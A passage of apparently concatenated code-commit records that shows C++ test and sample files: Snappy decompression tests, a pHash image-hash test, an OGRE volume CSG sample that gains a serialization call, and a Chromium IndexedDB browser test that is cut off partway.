CPPUNIT_TEST_SUITE_END();\n\nprivate:\n  void testBlock();\n  void testInvalid();\n  void testFull();\n};\n\nvoid IWASnappyStreamTest::setUp()\n{\n}\n\nvoid IWASnappyStreamTest::tearDown()\n{\n}\n\n#define BYTES(b) (reinterpret_cast<const unsigned char *>(b)), (sizeof(b) - 1)\n\nvoid IWASnappyStreamTest::testBlock()\n{\n  \/\/ assertCompressed(\"empty\", BYTES(\"\"), BYTES(\"\\x1\\x0\"));\n  assertCompressed(\"literal run\", BYTES(\"a\"), BYTES(\"\\x1\\x0\\x61\"));\n  assertCompressed(\"literal run\", BYTES(\"ab\"), BYTES(\"\\x2\\x4\\x61\\x62\"));\n  assertCompressed(\"long literal run\", BYTES(\"ab\"), BYTES(\"\\x2\\xf0\\x1\\x61\\x62\"));\n  assertCompressed(\"very long literal run\", BYTES(\"ab\"), BYTES(\"\\x2\\xf4\\x1\\x0\\x61\\x62\"));\n  assertCompressed(\"extra long literal run\", BYTES(\"ab\"), BYTES(\"\\x2\\xf8\\x1\\x0\\x0\\x61\\x62\"));\n  assertCompressed(\"near reference\",\n                   BYTES(\"abcdabcd\"), BYTES(\"\\x8\\xc\\x61\\x62\\x63\\x64\\x1\\x4\"));\n  assertCompressed(\"near reference of length 5\",\n                   BYTES(\"abcdeabcde\"), BYTES(\"\\xa\\x10\\x61\\x62\\x63\\x64\\x65\\x5\\x5\"));\n  assertCompressed(\"near reference to the middle of a run\",\n                   BYTES(\"abcdefbcde\"), BYTES(\"\\xa\\x14\\x61\\x62\\x63\\x64\\x65\\x66\\x1\\x5\"));\n  assertCompressed(\"repeated near reference\",\n                   BYTES(\"abcbcbcb\"), BYTES(\"\\x8\\x8\\x61\\x62\\x63\\x5\\x2\"));\n  assertCompressed(\"far reference\", BYTES(\"aa\"), BYTES(\"\\x2\\x0\\x61\\x2\\x1\\x0\"));\n  assertCompressed(\"far reference of length 2\",\n                   BYTES(\"abab\"), BYTES(\"\\x4\\x4\\x61\\x62\\x6\\x2\\x0\"));\n}\n\nvoid IWASnappyStreamTest::testInvalid()\n{\n  assertAnyException(\"Too short literal run\", BYTES(\"\\x4\\x10\\x61\"));\n  assertAnyException(\"Near reference without any data\", BYTES(\"\\x1\\x5\\x0\"));\n  assertAnyException(\"Far reference without any data\", BYTES(\"\\x1\\x2\\x1\\x0\"));\n}\n\nvoid IWASnappyStreamTest::testFull()\n{\n  assertCompressedFull(\"literal run\", BYTES(\"a\"), BYTES(\"\\x0\\x3\\x0\\x0\\x1\\x0\\x61\"));\n}\n\n#undef BYTES\n\nCPPUNIT_TEST_SUITE_REGISTRATION(IWASnappyStreamTest);\n\n}\n\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * pHashTest.cpp\n *\n *  Created on: 25 Jul 2013\n *      Author: nicholas\n *\/\n\n#include <gtest\/gtest.h>\n#include <iostream>\n#include \"..\/..\/include\/hash\/ImagePHash.hpp\"\n#include <GraphicsMagick\/Magick++.h>\n\n\nusing namespace Magick;\n\nTEST(ImagePHashTest, hashImage) {\n\tImagePHash iph;\n\tlong pHash = iph.getLongHash(\"src\/test\/hash\/testImage.jpg\");\n\tASSERT_EQ(1111,pHash);\n}\n\nint main(int argc, char **argv) {\n\t BasicConfigurator config;\n\t config.configure();\n::testing::InitGoogleTest(&argc, argv);\n  return RUN_ALL_TESTS();\n}\n\n\n<commit_msg>Updated expected test value<commit_after>\/*\n * pHashTest.cpp\n *\n *  Created on: 25 Jul 2013\n *      Author: nicholas\n *\/\n\n#include <gtest\/gtest.h>\n#include <iostream>\n#include \"..\/..\/include\/hash\/ImagePHash.hpp\"\n#include <GraphicsMagick\/Magick++.h>\n\n\nusing namespace Magick;\n\nTEST(ImagePHashTest, hashImage) {\n\tImagePHash iph;\n\tlong pHash = iph.getLongHash(\"src\/test\/hash\/testImage.jpg\");\n\tASSERT_EQ(7655956633439617023,pHash);\n}\n\nint main(int argc, char **argv) {\n\t BasicConfigurator config;\n\t config.configure();\n::testing::InitGoogleTest(&argc, argv);\n  return RUN_ALL_TESTS();\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n(Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\n\nCopyright (c) 2000-2013 Torus Knot Software Ltd\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n#include \"SamplePlugin.h\"\n#include \"VolumeCSG.h\"\n\n#include \"OgreVolumeCSGSource.h\"\n#include \"OgreVolumeCacheSource.h\"\n#include \"OgreVolumeTextureSource.h\"\n#include \"OgreVolumeMeshBuilder.h\"\n#include \"OgreMath.h\"\n\nusing namespace Ogre;\nusing namespace OgreBites;\nusing namespace Ogre::Volume;\n\nvoid Sample_VolumeCSG::setupContent(void)\n{\n    setupControls();\n    setupShaderGenerator();\n    Real size = (Real)31.0;\n    Vector3 to(size);\n            \n    \/\/ Light\n    Light* directionalLight0 = mSceneMgr->createLight(\"directionalLight0\");\n    directionalLight0->setType(Light::LT_DIRECTIONAL);\n    directionalLight0->setDirection(Vector3((Real)1, (Real)-1, (Real)1));\n    directionalLight0->setDiffuseColour((Real)1, (Real)0.98, (Real)0.73);\n    directionalLight0->setSpecularColour((Real)0.1, (Real)0.1, (Real)0.1);\n   \n    \/\/ Spheres\n    CSGSphereSource sphere1((Real)5.0, Vector3((Real)5.5));\n    CSGSphereSource sphere2((Real)5.0, Vector3((Real)25.5, (Real)5.5, (Real)5.5));\n    CSGSphereSource sphere3((Real)5.0, Vector3((Real)25.5, (Real)5.5, (Real)25.5));\n    CSGSphereSource sphere4((Real)5.0, Vector3((Real)5.5, (Real)5.5, (Real)25.5));\n\n    \/\/ Cubes\n    Real halfWidth = (Real)(2.5 \/ 2.0);\n    CSGCubeSource cube1(Vector3((Real)5.5 - halfWidth), Vector3((Real)25.5 + halfWidth, (Real)5.5 + halfWidth, (Real)25.5 + halfWidth));\n    CSGCubeSource cube2(Vector3((Real)5.5 + halfWidth, (Real)0.0, (Real)5.5 + halfWidth), Vector3((Real)25.5 - halfWidth, to.y, (Real)25.5 - halfWidth));\n    CSGDifferenceSource difference1(&cube1, &cube2);\n\n    \/\/ Inner rounded cube\n    Real innerHalfWidth = (Real)(7.0 \/ 2.0);\n    Vector3 center((Real)15.5, (Real)5.5, (Real)15.5);\n    CSGCubeSource cube3(center - innerHalfWidth, center + innerHalfWidth);\n    CSGSphereSource sphere5(innerHalfWidth + (Real)0.75, center);\n    CSGIntersectionSource intersection1(&cube3, &sphere5);\n\n    \/\/ A plane with noise\n    CSGPlaneSource plane1((Real)1.0, Vector3::UNIT_Y);\n    Real frequencies[] = {(Real)1.01, (Real)0.48};\n    Real amplitudes[] = {(Real)0.25, (Real)0.5};\n    CSGNoiseSource noise1(&plane1, frequencies, amplitudes, 2, 100);\n\n    \/\/ Combine everything\n    CSGUnionSource union1(&sphere1, &sphere2);\n    CSGUnionSource union2(&union1, &sphere3);\n    CSGUnionSource union3(&union2, &sphere4);\n    CSGUnionSource union4(&union3, &difference1);\n    CSGUnionSource union5(&union4, &intersection1);\n    CSGUnionSource union6(&union5, &noise1);\n    Source *src = &union6;\n\n    mVolumeRoot = OGRE_NEW Chunk();\n    SceneNode *volumeRootNode = mSceneMgr->getRootSceneNode()->createChildSceneNode(\"VolumeParent\");\n\n    \n    ChunkParameters parameters;\n    parameters.sceneManager = mSceneMgr;\n    parameters.src = src;\n    parameters.baseError = (Real)0.25;\n\n    mVolumeRoot->load(volumeRootNode, Vector3::ZERO, to, 1, &parameters);\n\n    mVolumeRoot->setMaterial(\"Ogre\/RTShader\/TriplanarTexturing\");\n\n    \/\/ Camera\n    mCamera->setPosition(to + (Real)7.5);\n    mCamera->lookAt(center + (Real)11.0);\n    mCamera->setNearClipDistance((Real)0.5);\n\n    mRotation = (Real)0.0;\n\n}\n    \n\/\/-----------------------------------------------------------------------\n\nvoid Sample_VolumeCSG::setupControls(void)\n{\n    mTrayMgr->showCursor();\n#if OGRE_PLATFORM != OGRE_PLATFORM_APPLE_IOS\n        setDragLook(true);\n#endif\n    mCameraMan->setStyle(OgreBites::CS_MANUAL);\n    mCameraMan->setTopSpeed((Real)25.0);\n    \/\/ make room for the volume\n    mTrayMgr->showLogo(TL_TOPRIGHT);\n    mTrayMgr->showFrameStats(TL_TOPRIGHT);\n    mTrayMgr->toggleAdvancedFrameStats();\n}\n    \n\/\/-----------------------------------------------------------------------\n\nvoid Sample_VolumeCSG::setupShaderGenerator()\n{\n    RTShader::ShaderGenerator* mGen = RTShader::ShaderGenerator::getSingletonPtr();\n        \n    RTShader::RenderState* pMainRenderState = \n        mGen->createOrRetrieveRenderState(RTShader::ShaderGenerator::DEFAULT_SCHEME_NAME).first;\n    pMainRenderState->reset();\n            \n    mGen->invalidateScheme(Ogre::RTShader::ShaderGenerator::DEFAULT_SCHEME_NAME);\n\n    \/\/ Make this viewport work with shader generator scheme.\n    mViewport->setMaterialScheme(RTShader::ShaderGenerator::DEFAULT_SCHEME_NAME);\n}\n    \n\/\/-----------------------------------------------------------------------\n\nvoid Sample_VolumeCSG::cleanupContent(void)\n{   \n    OGRE_DELETE mVolumeRoot;\n    mVolumeRoot = 0;\n}\n    \n\/\/-----------------------------------------------------------------------\n\nSample_VolumeCSG::Sample_VolumeCSG(void) : mVolumeRoot(0), mHideAll(false)\n{\n    mInfo[\"Title\"] = \"Volume CSG and RTSS triplanar texturing\";\n    mInfo[\"Description\"] = \"Demonstrates a volumetric CSG scene, showing sphere, cube, plane, union, difference and intersection. The triplanar texturing is generated by the RTSS.\";\n    mInfo[\"Thumbnail\"] = \"thumb_volumecsg.png\";\n    mInfo[\"Category\"] = \"Geometry\";\n}\n    \n\/\/-----------------------------------------------------------------------\n\nbool Sample_VolumeCSG::keyPressed(const OIS::KeyEvent& evt)\n{\n    if (evt.key == OIS::KC_H)\n    {\n        if (mHideAll)\n        {\n            mTrayMgr->showAll();\n        }\n        else\n        {\n            mTrayMgr->hideAll();\n        }\n        mHideAll = !mHideAll;\n    }\n    return SdkSample::keyPressed(evt);\n}\n    \nbool Sample_VolumeCSG::frameRenderingQueued(const Ogre::FrameEvent& evt)\n{\n    Vector3 center((Real)15.5, (Real)5.5, (Real)15.5);\n    mRotation += Radian(evt.timeSinceLastFrame * (Real)0.5);\n    Real r = (Real)35.0;\n    mCamera->setPosition(\n        Math::Sin(mRotation) * r + center.x,\n        (Real)15.0 + center.y,\n        Math::Cos(mRotation) * r + center.z\n    );\n    mCamera->lookAt(center);\n    return SdkSample::frameRenderingQueued(evt);\n}\n\n\/\/-----------------------------------------------------------------------\n\nvoid Sample_VolumeCSG::_shutdown()\n{\n    RTShader::RenderState* pMainRenderState = \n        RTShader::ShaderGenerator::getSingleton().createOrRetrieveRenderState(RTShader::ShaderGenerator::DEFAULT_SCHEME_NAME).first;\n    pMainRenderState->reset();\n        \n    SdkSample::_shutdown();\n}\n\n\/\/-----------------------------------------------------------------------\n\n#ifndef OGRE_STATIC_LIB\n\nSamplePlugin* sp;\nSample* s;\n    \n\/\/-----------------------------------------------------------------------\n\nextern \"C\" _OgreSampleExport void dllStartPlugin()\n{\n    s = new Sample_VolumeCSG();\n    sp = OGRE_NEW SamplePlugin(s->getInfo()[\"Title\"] + \" Sample\");\n    sp->addSample(s);\n    Root::getSingleton().installPlugin(sp);\n}\n    \n\/\/-----------------------------------------------------------------------\n\nextern \"C\" _OgreSampleExport void dllStopPlugin()\n{\n    Root::getSingleton().uninstallPlugin(sp); \n    OGRE_DELETE sp;\n    delete s;\n}\n\n#endif\n<commit_msg>Re-merge to hopefully fix problems (back out original change set that was incorrectly merged)<commit_after>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n(Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\n\nCopyright (c) 2000-2013 Torus Knot Software Ltd\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n#include \"SamplePlugin.h\"\n#include \"VolumeCSG.h\"\n\n#include \"OgreVolumeCSGSource.h\"\n#include \"OgreVolumeCacheSource.h\"\n#include \"OgreVolumeTextureSource.h\"\n#include \"OgreVolumeMeshBuilder.h\"\n#include \"OgreMath.h\"\n\nusing namespace Ogre;\nusing namespace OgreBites;\nusing namespace Ogre::Volume;\n\nvoid Sample_VolumeCSG::setupContent(void)\n{\n    setupControls();\n    setupShaderGenerator();\n    Real size = (Real)31.0;\n    Vector3 to(size);\n            \n    \/\/ Light\n    Light* directionalLight0 = mSceneMgr->createLight(\"directionalLight0\");\n    directionalLight0->setType(Light::LT_DIRECTIONAL);\n    directionalLight0->setDirection(Vector3((Real)1, (Real)-1, (Real)1));\n    directionalLight0->setDiffuseColour((Real)1, (Real)0.98, (Real)0.73);\n    directionalLight0->setSpecularColour((Real)0.1, (Real)0.1, (Real)0.1);\n   \n    \/\/ Spheres\n    CSGSphereSource sphere1((Real)5.0, Vector3((Real)5.5));\n    CSGSphereSource sphere2((Real)5.0, Vector3((Real)25.5, (Real)5.5, (Real)5.5));\n    CSGSphereSource sphere3((Real)5.0, Vector3((Real)25.5, (Real)5.5, (Real)25.5));\n    CSGSphereSource sphere4((Real)5.0, Vector3((Real)5.5, (Real)5.5, (Real)25.5));\n\n    \/\/ Cubes\n    Real halfWidth = (Real)(2.5 \/ 2.0);\n    CSGCubeSource cube1(Vector3((Real)5.5 - halfWidth), Vector3((Real)25.5 + halfWidth, (Real)5.5 + halfWidth, (Real)25.5 + halfWidth));\n    CSGCubeSource cube2(Vector3((Real)5.5 + halfWidth, (Real)0.0, (Real)5.5 + halfWidth), Vector3((Real)25.5 - halfWidth, to.y, (Real)25.5 - halfWidth));\n    CSGDifferenceSource difference1(&cube1, &cube2);\n\n    \/\/ Inner rounded cube\n    Real innerHalfWidth = (Real)(7.0 \/ 2.0);\n    Vector3 center((Real)15.5, (Real)5.5, (Real)15.5);\n    CSGCubeSource cube3(center - innerHalfWidth, center + innerHalfWidth);\n    CSGSphereSource sphere5(innerHalfWidth + (Real)0.75, center);\n    CSGIntersectionSource intersection1(&cube3, &sphere5);\n\n    \/\/ A plane with noise\n    CSGPlaneSource plane1((Real)1.0, Vector3::UNIT_Y);\n    Real frequencies[] = {(Real)1.01, (Real)0.48};\n    Real amplitudes[] = {(Real)0.25, (Real)0.5};\n    CSGNoiseSource noise1(&plane1, frequencies, amplitudes, 2, 100);\n\n    \/\/ Combine everything\n    CSGUnionSource union1(&sphere1, &sphere2);\n    CSGUnionSource union2(&union1, &sphere3);\n    CSGUnionSource union3(&union2, &sphere4);\n    CSGUnionSource union4(&union3, &difference1);\n    CSGUnionSource union5(&union4, &intersection1);\n    CSGUnionSource union6(&union5, &noise1);\n    Source *src = &union6;\n\n    src->serialize(Vector3::ZERO, to, (Real)0.12109375, \"volume.dat\");\n\n    mVolumeRoot = OGRE_NEW Chunk();\n    SceneNode *volumeRootNode = mSceneMgr->getRootSceneNode()->createChildSceneNode(\"VolumeParent\");\n\n    \n    ChunkParameters parameters;\n    parameters.sceneManager = mSceneMgr;\n    parameters.src = src;\n    parameters.baseError = (Real)0.25;\n\n    mVolumeRoot->load(volumeRootNode, Vector3::ZERO, to, 1, &parameters);\n\n    mVolumeRoot->setMaterial(\"Ogre\/RTShader\/TriplanarTexturing\");\n\n    \/\/ Camera\n    mCamera->setPosition(to + (Real)7.5);\n    mCamera->lookAt(center + (Real)11.0);\n    mCamera->setNearClipDistance((Real)0.5);\n\n    mRotation = (Real)0.0;\n\n}\n    \n\/\/-----------------------------------------------------------------------\n\nvoid Sample_VolumeCSG::setupControls(void)\n{\n    mTrayMgr->showCursor();\n#if OGRE_PLATFORM != OGRE_PLATFORM_APPLE_IOS\n        setDragLook(true);\n#endif\n    mCameraMan->setStyle(OgreBites::CS_MANUAL);\n    mCameraMan->setTopSpeed((Real)25.0);\n    \/\/ make room for the volume\n    mTrayMgr->showLogo(TL_TOPRIGHT);\n    mTrayMgr->showFrameStats(TL_TOPRIGHT);\n    mTrayMgr->toggleAdvancedFrameStats();\n}\n    \n\/\/-----------------------------------------------------------------------\n\nvoid Sample_VolumeCSG::setupShaderGenerator()\n{\n    RTShader::ShaderGenerator* mGen = RTShader::ShaderGenerator::getSingletonPtr();\n        \n    RTShader::RenderState* pMainRenderState = \n        mGen->createOrRetrieveRenderState(RTShader::ShaderGenerator::DEFAULT_SCHEME_NAME).first;\n    pMainRenderState->reset();\n            \n    mGen->invalidateScheme(Ogre::RTShader::ShaderGenerator::DEFAULT_SCHEME_NAME);\n\n    \/\/ Make this viewport work with shader generator scheme.\n    mViewport->setMaterialScheme(RTShader::ShaderGenerator::DEFAULT_SCHEME_NAME);\n}\n    \n\/\/-----------------------------------------------------------------------\n\nvoid Sample_VolumeCSG::cleanupContent(void)\n{   \n    OGRE_DELETE mVolumeRoot;\n    mVolumeRoot = 0;\n}\n    \n\/\/-----------------------------------------------------------------------\n\nSample_VolumeCSG::Sample_VolumeCSG(void) : mVolumeRoot(0), mHideAll(false)\n{\n    mInfo[\"Title\"] = \"Volume CSG and RTSS triplanar texturing\";\n    mInfo[\"Description\"] = \"Demonstrates a volumetric CSG scene, showing sphere, cube, plane, union, difference and intersection. The triplanar texturing is generated by the RTSS.\";\n    mInfo[\"Thumbnail\"] = \"thumb_volumecsg.png\";\n    mInfo[\"Category\"] = \"Geometry\";\n}\n    \n\/\/-----------------------------------------------------------------------\n\nbool Sample_VolumeCSG::keyPressed(const OIS::KeyEvent& evt)\n{\n    if (evt.key == OIS::KC_H)\n    {\n        if (mHideAll)\n        {\n            mTrayMgr->showAll();\n        }\n        else\n        {\n            mTrayMgr->hideAll();\n        }\n        mHideAll = !mHideAll;\n    }\n    return SdkSample::keyPressed(evt);\n}\n    \nbool Sample_VolumeCSG::frameRenderingQueued(const Ogre::FrameEvent& evt)\n{\n    Vector3 center((Real)15.5, (Real)5.5, (Real)15.5);\n    mRotation += Radian(evt.timeSinceLastFrame * (Real)0.5);\n    Real r = (Real)35.0;\n    mCamera->setPosition(\n        Math::Sin(mRotation) * r + center.x,\n        (Real)15.0 + center.y,\n        Math::Cos(mRotation) * r + center.z\n    );\n    mCamera->lookAt(center);\n    return SdkSample::frameRenderingQueued(evt);\n}\n\n\/\/-----------------------------------------------------------------------\n\nvoid Sample_VolumeCSG::_shutdown()\n{\n    RTShader::RenderState* pMainRenderState = \n        RTShader::ShaderGenerator::getSingleton().createOrRetrieveRenderState(RTShader::ShaderGenerator::DEFAULT_SCHEME_NAME).first;\n    pMainRenderState->reset();\n        \n    SdkSample::_shutdown();\n}\n\n\/\/-----------------------------------------------------------------------\n\n#ifndef OGRE_STATIC_LIB\n\nSamplePlugin* sp;\nSample* s;\n    \n\/\/-----------------------------------------------------------------------\n\nextern \"C\" _OgreSampleExport void dllStartPlugin()\n{\n    s = new Sample_VolumeCSG();\n    sp = OGRE_NEW SamplePlugin(s->getInfo()[\"Title\"] + \" Sample\");\n    sp->addSample(s);\n    Root::getSingleton().installPlugin(sp);\n}\n    \n\/\/-----------------------------------------------------------------------\n\nextern \"C\" _OgreSampleExport void dllStopPlugin()\n{\n    Root::getSingleton().uninstallPlugin(sp); \n    OGRE_DELETE sp;\n    delete s;\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>loading in training data<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/bind.h\"\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/scoped_temp_dir.h\"\n#include \"base\/test\/thread_test_helper.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/test\/base\/in_process_browser_test.h\"\n#include \"chrome\/test\/base\/testing_profile.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"content\/browser\/in_process_webkit\/indexed_db_context.h\"\n#include \"content\/browser\/in_process_webkit\/webkit_context.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"content\/public\/common\/content_switches.h\"\n#include \"webkit\/database\/database_util.h\"\n#include \"webkit\/quota\/mock_special_storage_policy.h\"\n#include \"webkit\/quota\/quota_manager.h\"\n#include \"webkit\/quota\/special_storage_policy.h\"\n\nusing content::BrowserContext;\nusing content::BrowserThread;\nusing quota::QuotaManager;\nusing webkit_database::DatabaseUtil;\n\n\/\/ This browser test is aimed towards exercising the IndexedDB bindings and\n\/\/ the actual implementation that lives in the browser side (in_process_webkit).\nclass IndexedDBBrowserTest : public InProcessBrowserTest {\n public:\n  IndexedDBBrowserTest() {\n    EnableDOMAutomation();\n  }\n\n  GURL testUrl(const FilePath& file_path) {\n    const FilePath kTestDir(FILE_PATH_LITERAL(\"indexeddb\"));\n    return ui_test_utils::GetTestUrl(kTestDir, file_path);\n  }\n\n  void SimpleTest(const GURL& test_url, bool incognito = false) {\n    \/\/ The test page will perform tests on IndexedDB, then navigate to either\n    \/\/ a #pass or #fail ref.\n    Browser* the_browser = incognito ? CreateIncognitoBrowser() : browser();\n\n    LOG(INFO) << \"Navigating to URL and blocking.\";\n    ui_test_utils::NavigateToURLBlockUntilNavigationsComplete(\n        the_browser, test_url, 2);\n    LOG(INFO) << \"Navigation done.\";\n    std::string result = the_browser->GetSelectedWebContents()->GetURL().ref();\n    if (result != \"pass\") {\n      std::string js_result;\n      ASSERT_TRUE(ui_test_utils::ExecuteJavaScriptAndExtractString(\n          the_browser->GetSelectedWebContents()->GetRenderViewHost(), L\"\",\n          L\"window.domAutomationController.send(getLog())\", &js_result));\n      FAIL() << \"Failed: \" << js_result;\n    }\n  }\n};\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, CursorTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"cursor_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, CursorTestIncognito) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"cursor_test.html\"))),\n             true \/* incognito *\/);\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, CursorPrefetch) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"cursor_prefetch.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, IndexTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"index_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, KeyPathTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"key_path_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, TransactionGetTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"transaction_get_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, KeyTypesTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"key_types_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, ObjectStoreTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"object_store_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, DatabaseTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"database_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, TransactionTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"transaction_test.html\"))));\n}\n\n\/\/ Flaky: http:\/\/crbug.com\/70773\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, DISABLED_DoesntHangTest) {\n  SimpleTest(testUrl(FilePath(\n      FILE_PATH_LITERAL(\"transaction_run_forever.html\"))));\n  ui_test_utils::CrashTab(browser()->GetSelectedWebContents());\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"transaction_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, Bug84933Test) {\n  const GURL url = testUrl(FilePath(FILE_PATH_LITERAL(\"bug_84933.html\")));\n\n  \/\/ Just navigate to the URL. Test will crash if it fails.\n  ui_test_utils::NavigateToURLBlockUntilNavigationsComplete(browser(), url, 1);\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, Bug106883Test) {\n  const GURL url = testUrl(FilePath(FILE_PATH_LITERAL(\"bug_106883.html\")));\n\n  \/\/ Just navigate to the URL. Test will crash if it fails.\n  ui_test_utils::NavigateToURLBlockUntilNavigationsComplete(browser(), url, 1);\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, Bug109187Test) {\n  const GURL url = testUrl(FilePath(FILE_PATH_LITERAL(\"bug_109187.html\")));\n\n  \/\/ Just navigate to the URL. Test will crash if it fails.\n  ui_test_utils::NavigateToURLBlockUntilNavigationsComplete(browser(), url, 1);\n}\n\n\/\/ In proc browser test is needed here because ClearLocalState indirectly calls\n\/\/ WebKit's isMainThread through WebSecurityOrigin->SecurityOrigin.\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, ClearLocalState) {\n  ScopedTempDir temp_dir;\n  ASSERT_TRUE(temp_dir.CreateUniqueTempDir());\n\n  FilePath protected_path;\n  FilePath unprotected_path;\n\n  \/\/ Create the scope which will ensure we run the destructor of the webkit\n  \/\/ context which should trigger the clean up.\n  {\n    TestingProfile profile;\n\n    \/\/ Test our assumptions about what is protected and what is not.\n    const GURL kProtectedOrigin(\"chrome-extension:\/\/foo\/\");\n    const GURL kUnprotectedOrigin(\"http:\/\/foo\/\");\n    quota::SpecialStoragePolicy* policy = profile.GetSpecialStoragePolicy();\n    ASSERT_TRUE(policy->IsStorageProtected(kProtectedOrigin));\n    ASSERT_FALSE(policy->IsStorageProtected(kUnprotectedOrigin));\n\n    \/\/ Create some indexedDB paths.\n    \/\/ With the levelDB backend, these are directories.\n    WebKitContext* webkit_context = BrowserContext::GetWebKitContext(&profile);\n    IndexedDBContext* idb_context = webkit_context->indexed_db_context();\n    idb_context->set_data_path_for_testing(temp_dir.path());\n    protected_path = idb_context->GetIndexedDBFilePath(\n        DatabaseUtil::GetOriginIdentifier(kProtectedOrigin));\n    unprotected_path = idb_context->GetIndexedDBFilePath(\n        DatabaseUtil::GetOriginIdentifier(kUnprotectedOrigin));\n    ASSERT_TRUE(file_util::CreateDirectory(protected_path));\n    ASSERT_TRUE(file_util::CreateDirectory(unprotected_path));\n\n    \/\/ Setup to clear all unprotected origins on exit.\n    webkit_context->set_clear_local_state_on_exit(true);\n  }\n\n  \/\/ Make sure we wait until the destructor has run.\n  scoped_refptr<base::ThreadTestHelper> helper_io(\n      new base::ThreadTestHelper(\n          BrowserThread::GetMessageLoopProxyForThread(BrowserThread::IO)));\n  ASSERT_TRUE(helper_io->Run());\n  scoped_refptr<base::ThreadTestHelper> helper_webkit(\n      new base::ThreadTestHelper(\n          BrowserThread::GetMessageLoopProxyForThread(\n              BrowserThread::WEBKIT_DEPRECATED)));\n  ASSERT_TRUE(helper_webkit->Run());\n\n  ASSERT_TRUE(file_util::DirectoryExists(protected_path));\n  ASSERT_FALSE(file_util::DirectoryExists(unprotected_path));\n}\n\n\/\/ In proc browser test is needed here because ClearLocalState indirectly calls\n\/\/ WebKit's isMainThread through 